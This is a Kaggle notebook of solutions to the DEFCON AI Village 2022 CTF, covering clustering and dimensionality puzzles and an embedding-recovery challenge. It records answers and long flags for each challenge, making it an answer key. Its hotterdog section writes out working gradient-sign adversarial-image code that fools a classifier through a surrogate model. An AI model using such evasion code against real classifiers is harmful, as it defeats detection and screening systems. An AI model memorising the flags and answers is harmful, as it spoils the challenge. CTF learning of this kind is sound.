{"metadata":{"kernelspec":{"language":"python","display_name":"Python 3","name":"python3"},"language_info":{"pygments_lexer":"ipython3","nbconvert_exporter":"python","version":"3.6.4","file_extension":".py","codemirror_mode":{"name":"ipython","version":3},"name":"python","mimetype":"text/x-python"}},"nbformat_minor":4,"nbformat":4,"cells":[{"cell_type":"markdown","source":"# CTF Template\n\nWelcome to the DEFCON AI Village Capture-the-Flag (CTF). Feel free to copy this notebook and use it as the foundation for your submissions.\n\n## Intro\n\nHelp Henry Hacker get to Homecoming! In this series of challenges, you'll be interacting with various machine learning challenges. You're welcome to use this notebook as a template, but can also use any other resources. `Submission Helper` code is just there to show you how to interact with a challenge. You're encouraged to write your own code. There are no fake flags, so if you're returned a 256 character-long string, you found it! Collect those flags, add them next to their corresponding challenge in `solution.csv` (provided) and submit them to the scoreboard. We've provided an `add_flag()` function to help with this. There's no limit to how many times you try the challenges, but you can only submit `solution.csv` to the scoreboard 50 times per day. \n\nCTF's are inherently puzzles that are intended to challenge you and help you learn new things. Sometimes they may be a little ambiguous or misleading. That's part of the challenge! However, if you feel like a challenge or piece of infrastructure isn't working correctly, contact the organizers through the Kaggle discussion board or the discord channel.","metadata":{}},{"cell_type":"code","source":"!pip install torchattacks","metadata":{"execution":{"iopub.status.busy":"2022-09-08T16:54:05.705795Z","iopub.execute_input":"2022-09-08T16:54:05.706329Z","iopub.status.idle":"2022-09-08T16:54:18.356722Z","shell.execute_reply.started":"2022-09-08T16:54:05.706225Z","shell.execute_reply":"2022-09-08T16:54:18.355305Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# We're just importing some stuff to make sure the challenges and helper code works.\n# Feel free to import anything else you need (or solve in a different language), but if you overwrite these, provided code may not work.\n\nfrom collections import defaultdict\nfrom sklearn.manifold import Isomap\nimport torch\nimport inspect\nimport torchattacks\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\nimport torchvision.transforms.functional\nfrom tqdm import tqdm\nimport base64\nfrom pprint import pprint\nfrom collections import Counter\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow import keras\nimport urllib.request\nimport pandas as pd\nimport numpy as np\nimport os\nimport requests\nfrom IPython.display import Image as Ima\nfrom IPython.display import clear_output, display\nfrom PIL import Image as Im\nfrom PIL import ImageFilter\nfrom torch.utils.data import Dataset, DataLoader\nimport torch\nimport joblib\nimport matplotlib.pyplot as plt\nimport json\nimport base64\nimport shutil\nfrom random import shuffle\nimport warnings\nfrom keras.applications.mobilenet import preprocess_input\nfrom keras.models import load_model\nfrom keras.preprocessing.image import img_to_array, array_to_img\nfrom PIL import Image\nfrom imagehash import phash\nimport numpy as np\nfrom keras import backend as K\nimport tensorflow as tf\nwarnings.filterwarnings(\"ignore\")\n\n\ndir_name = \"/kaggle/input/ai-village-ctf\"\n\n# Input data files are available in the read-only \"../input/\" directory\n# You can write up to 20GB to the current directory (/kaggle/working/) that gets preserved as output when you create a version using \"Save & Run All\" \n# You can also write temporary files to /kaggle/temp/, but they won't be saved outside of the current session","metadata":{"_uuid":"8f2839f25d086af736a60e9eeb907d3b93b6e0e5","_cell_guid":"b1076dfc-b9ad-4769-8c92-a6c4dae69d19","execution":{"iopub.status.busy":"2022-09-08T16:54:18.360098Z","iopub.execute_input":"2022-09-08T16:54:18.360749Z","iopub.status.idle":"2022-09-08T16:54:26.460992Z","shell.execute_reply.started":"2022-09-08T16:54:18.360716Z","shell.execute_reply":"2022-09-08T16:54:26.459866Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# A helper function for tracking flags. You could do it yourself, but why?\n\ndef add_flag(challenge_id: str, flag: str) -> str:\n    try:\n        submission_path = \"/kaggle/working/submission.csv\"\n        template_path = f\"{dir_name}/submission.csv\"\n        if not os.path.isfile(submission_path) :\n            shutil.copyfile(template_path, submission_path)\n        flags = pd.read_csv(submission_path, index_col=\"challenge_id\")\n        valid = flags.index.to_list()\n        if challenge_id in valid:\n            flags.at[challenge_id] = flag\n            flags.to_csv(submission_path)\n            print(\"Flag saved. If you want to update the scoreboard, click 'submit' on the right. Remember that you can only update your score on the scoreboard 50 times per day\")\n        else:\n            print(\"Invalid challenge_id\")\n    except:\n        print(\"We had trouble saving that flag. Keep a copy of it and contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T16:54:26.465985Z","iopub.execute_input":"2022-09-08T16:54:26.468751Z","iopub.status.idle":"2022-09-08T16:54:26.479943Z","shell.execute_reply.started":"2022-09-08T16:54:26.468707Z","shell.execute_reply":"2022-09-08T16:54:26.478470Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# HOTDOG (id: hotdog) -- 200 Points\n\n### Scenario\n\nThis is Chester. He's heard of Hotdog/Not Hotdog, but really wants to be classified as a hot-dog (get it?).\n\n### Objective\n\nHelp Chester classify as a hotdog.","metadata":{}},{"cell_type":"code","source":"Ima(filename=f'{dir_name}/hotdog/chester.png')","metadata":{"execution":{"iopub.status.busy":"2022-09-08T06:29:05.039174Z","iopub.execute_input":"2022-09-08T06:29:05.039845Z","iopub.status.idle":"2022-09-08T06:29:05.082918Z","shell.execute_reply.started":"2022-09-08T06:29:05.039799Z","shell.execute_reply":"2022-09-08T06:29:05.081977Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\nurl = \"https://imagesvc.meredithcorp.io/v3/mm/image?url=https%3A%2F%2Fcf-images.us-east-1.prod.boltdns.net%2Fv1%2Fstatic%2F1033249144001%2F7d24d0c0-dbfa-419b-b3f1-f0c431e5c237%2Ff90cf1ae-f1c4-472c-86c6-a168900bc333%2F1280x720%2Fmatch%2Fimage.jpg\"\n\nIMAGE_DIMS = (224, 224)\n\n# img = Im.open(f\"{dir_name}/hotdog/chester.png\")\nwith urllib.request.urlopen(url) as r:\n    img = Im.open(r)\n\nimg = img.resize(IMAGE_DIMS)\nimg_bytes = img.tobytes()\nb64_img_bytes = base64.urlsafe_b64encode(img_bytes)\n\ntry:\n    r = requests.post(\"https://hotdog.fly.dev/score\", data=json.dumps({\"input\": b64_img_bytes.decode()}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T06:29:05.084335Z","iopub.execute_input":"2022-09-08T06:29:05.084691Z","iopub.status.idle":"2022-09-08T06:29:07.019143Z","shell.execute_reply.started":"2022-09-08T06:29:05.084658Z","shell.execute_reply":"2022-09-08T06:29:07.017989Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"hotdog\", \"W5O2XAJ77OO7HF}CZNOQ2D9VFHM1CGPU9N7OAIC0AL31QSYNQ7JHIPCMDI2G79RSYNWT8SX2KTE7YZ7ZNXO0FOJIVTWWCZSSA0QATNI892D8G4DRWY1RC385NGF{0QIE\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T06:29:12.997049Z","iopub.execute_input":"2022-09-08T06:29:12.997489Z","iopub.status.idle":"2022-09-08T06:29:13.032196Z","shell.execute_reply.started":"2022-09-08T06:29:12.997433Z","shell.execute_reply":"2022-09-08T06:29:13.030988Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Math\n\nThis series of \"Math\" challenges is designed to introduce the concepts of dimensionality.\n\nData is often represented in a high dimensional space, but is actually several intrinsically low dimensional components that can be diagnosed. Intrinsic low-dimensionailty is incredibly important to machine learning because many ML algorithms rely on it. Medical EKG data is as single intrinsically 2 dimensional component, despite often being represented as 100 dimensions or more. The classic MNIST dataset is several components of 8-10 dimensions, depending on the digits class, despite being represented in 784 dimensions. The 4 math challenges are focused on this problem. **If you need a hint, ask Sven at the Art Booth.**","metadata":{}},{"cell_type":"markdown","source":"# Math Challenge 1 (id: math_1) -- 100 Points\n\nHow many clusters are in the clusters1.npy, clusters2.npy, and clusters3.npy? The key is the number of clusters in order, with no spaces. These files are available in the input directory under `math`.","metadata":{}},{"cell_type":"code","source":"# We create a KMeans Classifier and we try to classify our\n# data in clusters of sizes K from 1 to 10. We are then interested\n# in the error of classification for that K. If we plot the \n# errors, we can see a sudden drop (elbow) when the right K\n# is reached. A smaller K would have an error to big, and a\n# larger K would just overfit and not provide more useful information.\n\nfrom sklearn.cluster import KMeans\nimport seaborn as sns\n\ndef number_of_clusters(data):\n    errs = []\n    \n    for i in range(1, 10):\n        # best number of clusters is at elbow of error\n        kmeans = KMeans(i)\n        \n        kmeans.fit(data)\n        \n        errs.append(kmeans.score(data))\n        \n    return errs","metadata":{"execution":{"iopub.status.busy":"2022-09-08T06:36:07.986586Z","iopub.execute_input":"2022-09-08T06:36:07.987238Z","iopub.status.idle":"2022-09-08T06:36:07.994341Z","shell.execute_reply.started":"2022-09-08T06:36:07.987196Z","shell.execute_reply":"2022-09-08T06:36:07.992937Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"fig, axs = plt.subplots(1, 3, figsize=(15, 5))\n\nfor i in range(3):\n    cluster_name = f\"clusters{i+1}\"\n    clusters_data = np.load(f\"{dir_name}/math/{cluster_name}.npy\")\n    errs = number_of_clusters(clusters_data)\n    sns.lineplot(x=range(1, 10), y=errs, ax=axs[i])\n    axs[i].set_title(cluster_name)\n    axs[i].set_xticks(list(range(10)))\n    axs[i].grid(True)\n\nplt.show()","metadata":{"execution":{"iopub.status.busy":"2022-09-08T06:42:07.658124Z","iopub.execute_input":"2022-09-08T06:42:07.658649Z","iopub.status.idle":"2022-09-08T06:42:13.984680Z","shell.execute_reply.started":"2022-09-08T06:42:07.658607Z","shell.execute_reply":"2022-09-08T06:42:13.983643Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"math_1\", \"submission\": \"523\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T06:36:17.653102Z","iopub.execute_input":"2022-09-08T06:36:17.653536Z","iopub.status.idle":"2022-09-08T06:36:18.292785Z","shell.execute_reply.started":"2022-09-08T06:36:17.653501Z","shell.execute_reply":"2022-09-08T06:36:18.291933Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"math_1\", \"IITYMXZ33G6BXDF8M8VGPZRES11{52Y91MKJB6EKS1VT79O6ONWL5EKRSTVGD3L0}TJJCPL3B2U0OM3144AT62FGRNKUWDUSVWAILEEA38NGW5SSS6ZDNFINM2YAYXVZ\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T06:36:18.616909Z","iopub.execute_input":"2022-09-08T06:36:18.617561Z","iopub.status.idle":"2022-09-08T06:36:18.627041Z","shell.execute_reply.started":"2022-09-08T06:36:18.617526Z","shell.execute_reply":"2022-09-08T06:36:18.625874Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Math Challenge 2 (id: math_2) -- 200 Points\n\nWhat's the dimensionality of the data in first_dim1.npy, first_dim2.npy, and first_dim3.npy? The key is the number of dimensions in order, with no spaces.  These files are available in the input directory under `math`.","metadata":{}},{"cell_type":"code","source":"# Math 2 is very similar to Math 1 but we have to use PCA.\n# With PCA we can find the number of principal components for each dataset.\n# We will have a range from the total number of dimensions to 1 for the K parameter.\n# This time we will want the variance ratio sum as the error. This metric tells us\n# how much of the total variance of the data is kept in the K components that we \n# selected. Again, the right K value appears when we have a sudden drop of the error.\n# A larger value for K would just give almost the same amount of variance and a smaller\n# value would miss to much variance of the data. Hence K is best.\n\nfrom sklearn.decomposition import PCA\n\ndef number_of_dims(data):\n    errs = []\n    \n    for i in range(min(data.shape[0], data.shape[-1]), 0, -1):\n        pca = PCA(i)\n        \n        pca.fit(data)\n        \n        errs.append(pca.explained_variance_ratio_.sum())\n    \n    return errs","metadata":{"execution":{"iopub.status.busy":"2022-09-08T06:39:30.642164Z","iopub.execute_input":"2022-09-08T06:39:30.642671Z","iopub.status.idle":"2022-09-08T06:39:30.650302Z","shell.execute_reply.started":"2022-09-08T06:39:30.642631Z","shell.execute_reply":"2022-09-08T06:39:30.649239Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"fig, axs = plt.subplots(1, 3, figsize=(15, 5))\n\nfor i in range(3):\n    dim_name = f\"first_dim{i+1}\"\n    dim_data = np.load(f\"{dir_name}/math/{dim_name}.npy\")\n    errs = number_of_dims(dim_data)\n\n    sns.lineplot(x=range(dim_data.shape[-1], 0, -1), y=errs, ax=axs[i])\n    axs[i].set_title(dim_name)\n    axs[i].set_xticks(list(range(len(errs) + 1)))\n    axs[i].grid(True)\n\nplt.show()","metadata":{"execution":{"iopub.status.busy":"2022-09-08T06:41:56.492137Z","iopub.execute_input":"2022-09-08T06:41:56.492789Z","iopub.status.idle":"2022-09-08T06:41:57.071417Z","shell.execute_reply.started":"2022-09-08T06:41:56.492738Z","shell.execute_reply":"2022-09-08T06:41:57.070284Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"math_2\", \"submission\": \"354\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-08-31T15:59:16.092930Z","iopub.execute_input":"2022-08-31T15:59:16.093672Z","iopub.status.idle":"2022-08-31T15:59:16.191737Z","shell.execute_reply.started":"2022-08-31T15:59:16.093627Z","shell.execute_reply":"2022-08-31T15:59:16.190486Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"math_2\", \"6KNLDOG84PQZ0GNENWRGBIS4QL}EOIUIXX69AXLLZXTFMK3SQSQALCLSAVHMB1JWA6SMC8HLI9FC0D8KVAIFK2OVIZ8H8FY9AXMT60SMCUHMKZQSC{3LC24MAL4C08K1\")","metadata":{"execution":{"iopub.status.busy":"2022-08-31T15:59:16.193423Z","iopub.execute_input":"2022-08-31T15:59:16.194169Z","iopub.status.idle":"2022-08-31T15:59:16.204265Z","shell.execute_reply.started":"2022-08-31T15:59:16.194122Z","shell.execute_reply":"2022-08-31T15:59:16.203349Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Math Challenge 3 (id: math_3) -- 300 Points\n\nWhat's the dimensionality of the data in second_dim1.npy, second_dim2.npy, and second_dim3.npy? The key is the number of the dimensionality in order, with no spaces.  These files are available in the input directory under `math`.","metadata":{}},{"cell_type":"code","source":"# Math 3 is just Math 2 with different files\n\nfig, axs = plt.subplots(1, 3, figsize=(15, 5))\n\nfor i in range(3):\n    dim_name = f\"second_dim{i+1}\"\n    dim_data = np.load(f\"{dir_name}/math/{dim_name}.npy\")\n    errs = number_of_dims(dim_data)\n\n    sns.lineplot(x=range(dim_data.shape[-1], 0, -1), y=errs, ax=axs[i])\n    axs[i].set_title(dim_name)\n    axs[i].set_xticks(list(range(len(errs) + 1)))\n    axs[i].grid(True)\n\nplt.show()","metadata":{"execution":{"iopub.status.busy":"2022-09-08T06:43:10.464878Z","iopub.execute_input":"2022-09-08T06:43:10.465326Z","iopub.status.idle":"2022-09-08T06:43:11.076987Z","shell.execute_reply.started":"2022-09-08T06:43:10.465291Z","shell.execute_reply":"2022-09-08T06:43:11.075818Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"math_3\", \"submission\": \"474\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T06:43:11.419390Z","iopub.execute_input":"2022-09-08T06:43:11.419858Z","iopub.status.idle":"2022-09-08T06:43:12.048075Z","shell.execute_reply.started":"2022-09-08T06:43:11.419818Z","shell.execute_reply":"2022-09-08T06:43:12.047192Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"math_3\", \"6VSQLCFOPH21OGWHURM3DHNOK}{Q7KBK4LMIM3RZDZXS2G92WR32DLEI0XAJN9C8FZZL10NVNEG_57ZS4DI0A0FIXC3F8IKARMZFFKL69N6N2GJJXP4N9TWXS7TMJ4SB\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T06:43:12.049696Z","iopub.execute_input":"2022-09-08T06:43:12.050636Z","iopub.status.idle":"2022-09-08T06:43:12.059756Z","shell.execute_reply.started":"2022-09-08T06:43:12.050598Z","shell.execute_reply":"2022-09-08T06:43:12.058921Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Math Challenge 4 (id: math_4) -- 400 Points\n\nWhat's the dimensionality of the clusters in clusters1.npy? The key is the dimensions ordered by cluster size (smallest to largest), with no spaces.  These files are available in the input directory under `math`.","metadata":{}},{"cell_type":"code","source":"# We are interested only in clusters1.npy\n# We are going to use the K value for KMeans that we found in Math 1, which is 5\n# Then we are going to cluster the data into K clusters and split it into K np arrays\n# containing only the points from each cluster. At this point we can use the Math 2 function\n# we defined to calculate the dimensions errors for each separate cluster. In total we will\n# have a results array of size K containing K lists, each list containing the errors for the\n# cluster k for dimensions [cluster_size..1]. We also have to sort the result list by cluster_size.\n# We can simply plot these errors and select the elbow values as the correct dimensions.\n\ncluster_name = \"clusters1\"\n\nclusters_data = np.load(f\"{dir_name}/math/{cluster_name}.npy\")\n\nk = 5\n\nkmeans = KMeans(k)\nkmeans.fit(clusters_data)\n\nlabels = kmeans.labels_\n\nresults = []\nfor i in range(k):\n    dim_data = clusters_data[labels == i]\n    \n    errs = number_of_dims(dim_data)\n    \n    results.append((dim_data.shape[0], errs))\n\nresults = sorted(results)","metadata":{"execution":{"iopub.status.busy":"2022-09-08T06:47:23.497995Z","iopub.execute_input":"2022-09-08T06:47:23.498502Z","iopub.status.idle":"2022-09-08T06:47:23.779221Z","shell.execute_reply.started":"2022-09-08T06:47:23.498445Z","shell.execute_reply":"2022-09-08T06:47:23.778163Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# For cluster 3 we can see that the error is 1.0 everywhere so 1 is the number of dimensions which keeps all variance\n\nfig, axs = plt.subplots(1, 5, figsize=(25, 5))\n\nfor i in range(5):\n    _, errs = results[i]\n    errs = errs[-10:]\n    \n    sns.lineplot(x=range(len(errs), 0, -1), y=errs, ax=axs[i])\n    axs[i].set_title(f\"Cluster {i}\")\n    axs[i].set_xticks(range(len(errs), 0, -1))\n    axs[i].grid(True)\n\nplt.show()","metadata":{"execution":{"iopub.status.busy":"2022-09-08T06:51:44.353245Z","iopub.execute_input":"2022-09-08T06:51:44.354468Z","iopub.status.idle":"2022-09-08T06:51:45.331165Z","shell.execute_reply.started":"2022-09-08T06:51:44.354406Z","shell.execute_reply":"2022-09-08T06:51:45.329888Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"math_4\", \"submission\": \"54312\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T06:51:45.333271Z","iopub.execute_input":"2022-09-08T06:51:45.333688Z","iopub.status.idle":"2022-09-08T06:51:45.963558Z","shell.execute_reply.started":"2022-09-08T06:51:45.333650Z","shell.execute_reply":"2022-09-08T06:51:45.962206Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"math_4\", \"HUMFQNGZE5E9AE773PG6IFAGAR69LDW51BO}5MPRN5QABOLAPL5TX5I5BTPDJACU4VI3T9R4NBH9ZXFLN8I17MZGFBDZWIG3QYQ{MUDN0FSUQGRG4DVXQHX2A53JP7R8\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T06:51:45.968012Z","iopub.execute_input":"2022-09-08T06:51:45.968422Z","iopub.status.idle":"2022-09-08T06:51:45.981592Z","shell.execute_reply.started":"2022-09-08T06:51:45.968383Z","shell.execute_reply":"2022-09-08T06:51:45.980294Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# WIFI (id: wifi) -- 200 Points\n\n### Scenario\n\nYou really need to check your email, unfortunately you don't know the password.  Fortunately, someone wrote it down.  Unfortunately, it's written down on a low-dimensional manifold embedded in a very high-dimensional space.  Check out the `wifi/Embedded characters.npz` file -- a list of tokens is given in the `tokens` key with their corresponding embeddings in the same order under the `embeddings` key -- and recover the password.\n\n### Objective\n\nThe password is your flag, like all others, it has the format `FLAG{something}`","metadata":{}},{"cell_type":"code","source":"# From the Scenario we can understand that the tokens list is an encoded version of the flag.\n# The embeddings represent vectors for each token in the sequence (for example, the first element\n# from the embedding corresponds to the first character in the tokens list '!'). We need to convert\n# The high dimensional embeddings into a low dimensional manifold (here I think we can use any method\n# I randomly chose Isomap) and then we can try different values for n_components, but 1 seemed as a good\n# start for me :). If we apply a fit transform on the embedding we get a sequence of float numbers,\n# each corresponding to the tokens, but they are one dimensional instead of 512. Since these are also\n# vectors corresponding to the characters, I tought to sort the tokens by the corresponding 1D embedding\n# Which results in obtaining 'FLAG{TURNED}0123456789abcdefghijklmnopqrstuvwxyzBCHIJKMOPQSVWXYZ!\"#$%&\\'()*+,-./:;<=>?@[\\\\]^_`|~0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&\\'()*+,-./:;<=>?@[\\\\]^_`{|}~'\n# a reordered version of the tokens that continaed the flag.\n\nwifi_data = np.load(f\"{dir_name}/wifi/Embedded_characters.npz\")\n\ntokens = wifi_data[\"tokens\"]\nembeddings = wifi_data[\"embeddings\"]\n\nprint(\"Embdedding dimension \", embeddings.shape)\n\nflag_str = tokens.tolist()\n\nflag_str","metadata":{"execution":{"iopub.status.busy":"2022-09-08T07:02:34.127320Z","iopub.execute_input":"2022-09-08T07:02:34.127791Z","iopub.status.idle":"2022-09-08T07:02:34.144894Z","shell.execute_reply.started":"2022-09-08T07:02:34.127751Z","shell.execute_reply":"2022-09-08T07:02:34.143210Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"low_dim_embeddings = Isomap(n_components=1).fit_transform(embeddings)[:, 0].tolist()\ntokens_indices = range(len(flag_str))\n\nxs = sorted(list(zip(low_dim_embeddings, tokens_indices)))\n\noriginal_tokens = \"\".join([flag_str[i] for (_, i) in xs])\n\noriginal_tokens","metadata":{"execution":{"iopub.status.busy":"2022-09-08T07:02:34.389606Z","iopub.execute_input":"2022-09-08T07:02:34.390052Z","iopub.status.idle":"2022-09-08T07:02:34.533686Z","shell.execute_reply.started":"2022-09-08T07:02:34.390011Z","shell.execute_reply":"2022-09-08T07:02:34.529173Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"wifi\", \"submission\": \"FLAG{TURNED}\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T07:02:37.730577Z","iopub.execute_input":"2022-09-08T07:02:37.731041Z","iopub.status.idle":"2022-09-08T07:02:38.364272Z","shell.execute_reply.started":"2022-09-08T07:02:37.731001Z","shell.execute_reply":"2022-09-08T07:02:38.363368Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"wifi\", \"CAK9GELSNR3MEPWHY5KIQ2XVM8RXBZQH13UBWGFWJPD4VVPT893XPTGSFJ6XIYL39R6GD7XDSO9BJNK}P4H6WZU1WUJJNQMTJU6DHMPCEQF{APKR3CQCQ4CPPSLDUQ9W\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T07:02:39.609190Z","iopub.execute_input":"2022-09-08T07:02:39.610012Z","iopub.status.idle":"2022-09-08T07:02:39.619891Z","shell.execute_reply.started":"2022-09-08T07:02:39.609970Z","shell.execute_reply":"2022-09-08T07:02:39.618974Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# HOTTERDOG (id: hotterdog) -- 400 Points\n\n### Scenario\n\nChester submitted himself in the \"most creative hotdog\" contest. They use machine vision to score the hotdogs, but oh no he already submitted his headshot.\n\n### Objective\n\nHelp Chester classify as a hotdog, but it has to look like Chester to a human. Modify his picture to fool a classifier.","metadata":{}},{"cell_type":"code","source":"# (Adversarial attack)\n# For the hotterdog challenge I have used the same method as for Salt and Theft (was a hint in Theft Scenario, maybe check Theft scenario first),\n# We have a random model that can classify a lot of things (the one from forensics)\n# The trick was to change the name of the model so that we can run it.\n# We have a create_img function as in the blog, we input an image, the model and the target_idx.\n# The image will be Chester, the model is the forensics model and the target_idx will be the hotdog class\n# In this case the forensics model and the challenge model had the same class for the hotdog, but if \n# they didn't we sould have to bruteforce 1000 times for the different classes.\n# The way create_img works is basically passing the input image trough the model\n# and then computing the gradient of the result w.r.t. the input image (instead of the model parameters as\n# we would do in usual gradient descent) and then computing image = image + learning_rate * gradient (same\n# as we would do for parameters in gradient descent). We will also crop the image to 0-255 to keep it valid\n# and we can also use a max_change variable to keep the hacked image as close to the original as possible.\n\ndef prepare_image(image, image_dims):\n    # if the image mode is not RGB, convert it\n    if image.mode != \"RGB\":\n        image = image.convert(\"RGB\")\n\n    # resize the input image and preprocess it\n    image = image.resize(image_dims)\n    image = img_to_array(image)\n    image = np.expand_dims(image, axis=0)\n    image = preprocess_input(image)\n    # return the processed image\n    return image\n\ndef create_img(img, model, target_idx, image_dims, des_conf=0.90, max_change=0.01):\n    original_image = img.resize(image_dims)\n    original_image = prepare_image(original_image, image_dims)\n\n    model_input_layer = model.layers[0].input\n    model_output_layer = model.layers[-1].output\n\n    max_change_above = original_image + max_change\n    max_change_below = original_image - max_change\n\n    # Create a copy of the input image to hack on\n    hacked_image = np.copy(original_image)\n\n    # How much to update the hacked image in each iteration\n    learning_rate = 0.01\n\n    cost = 0.0\n\n    # In a loop, keep adjusting the hacked image slightly so that it tricks the model more and more\n    # until it gets to at least 80% confidence\n    while cost < des_conf:\n        image_tensor = tf.convert_to_tensor(hacked_image)\n        \n        with tf.GradientTape(persistent=True) as tape:\n            tape.watch(image_tensor)\n            \n            result = model(image_tensor)[:, target_idx]\n            \n        gradients = tape.gradient(result, image_tensor)\n        \n        cost = result.numpy()[0]\n        \n        hacked_image += np.sign(gradients) * learning_rate\n\n        hacked_image = np.clip(hacked_image, max_change_below, max_change_above)\n        hacked_image = np.clip(hacked_image, -1.0, 1.0)\n\n        print(f\"Model's predicted likelihood that the image is a {target_idx}: {cost * 100:.8}%\")\n        \n    hacked_image = hacked_image.reshape((224,224,3))\n    img = array_to_img(hacked_image)\n    \n    return img","metadata":{"execution":{"iopub.status.busy":"2022-09-08T08:35:08.052140Z","iopub.execute_input":"2022-09-08T08:35:08.052648Z","iopub.status.idle":"2022-09-08T08:35:08.067716Z","shell.execute_reply.started":"2022-09-08T08:35:08.052609Z","shell.execute_reply":"2022-09-08T08:35:08.066329Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# We get a random hotdog image and find the hotdog class from the forensics model 934\nurl = \"https://imagesvc.meredithcorp.io/v3/mm/image?url=https%3A%2F%2Fcf-images.us-east-1.prod.boltdns.net%2Fv1%2Fstatic%2F1033249144001%2F7d24d0c0-dbfa-419b-b3f1-f0c431e5c237%2Ff90cf1ae-f1c4-472c-86c6-a168900bc333%2F1280x720%2Fmatch%2Fimage.jpg\"\n\nIMAGE_DIMS = (224, 224)\n\n# img = Im.open(f\"{dir_name}/hotdog/chester.png\")\nwith urllib.request.urlopen(url) as r:\n    img = Im.open(r)\n    \nplt.imshow(img)\nplt.show()\n\nmodel = keras.models.load_model(f\"{dir_name}/forensics/forensics.h5\")\n\nmodel._name = \"GotTheFlagXD\"\n\nhacked_image = prepare_image(img, IMAGE_DIMS)\nimage_tensor = tf.convert_to_tensor(hacked_image)\n        \nresult = model(image_tensor)\n            \nhotdog_class = result.numpy().argmax()\n\nprint(f\"Hotdog class is {hotdog_class}\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T07:12:04.723083Z","iopub.execute_input":"2022-09-08T07:12:04.723631Z","iopub.status.idle":"2022-09-08T07:12:07.027174Z","shell.execute_reply.started":"2022-09-08T07:12:04.723583Z","shell.execute_reply":"2022-09-08T07:12:07.025707Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# We use the forensics model to perform gradient descent on the Chester image\n# and make the model output hotdog class on it\n\nmodel = keras.models.load_model(f\"{dir_name}/forensics/forensics.h5\")\n\nmodel._name = \"GotTheFlagXD\"\n\nimg = Im.open(f\"{dir_name}/hotterdog/chester.png\")\n\nIMAGE_DIMS = (224, 224)\n\nresult_img = create_img(img, model, hotdog_class, IMAGE_DIMS)\n\nimg_bytes = result_img.tobytes()\n\nb64_img_bytes = base64.urlsafe_b64encode(img_bytes)\n\ndata = {\n    \"input\": b64_img_bytes.decode(),\n}\n\ntry:\n    r = requests.post(\"https://hotterdog.fly.dev/score\", data=json.dumps({\"input\": b64_img_bytes.decode()}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF 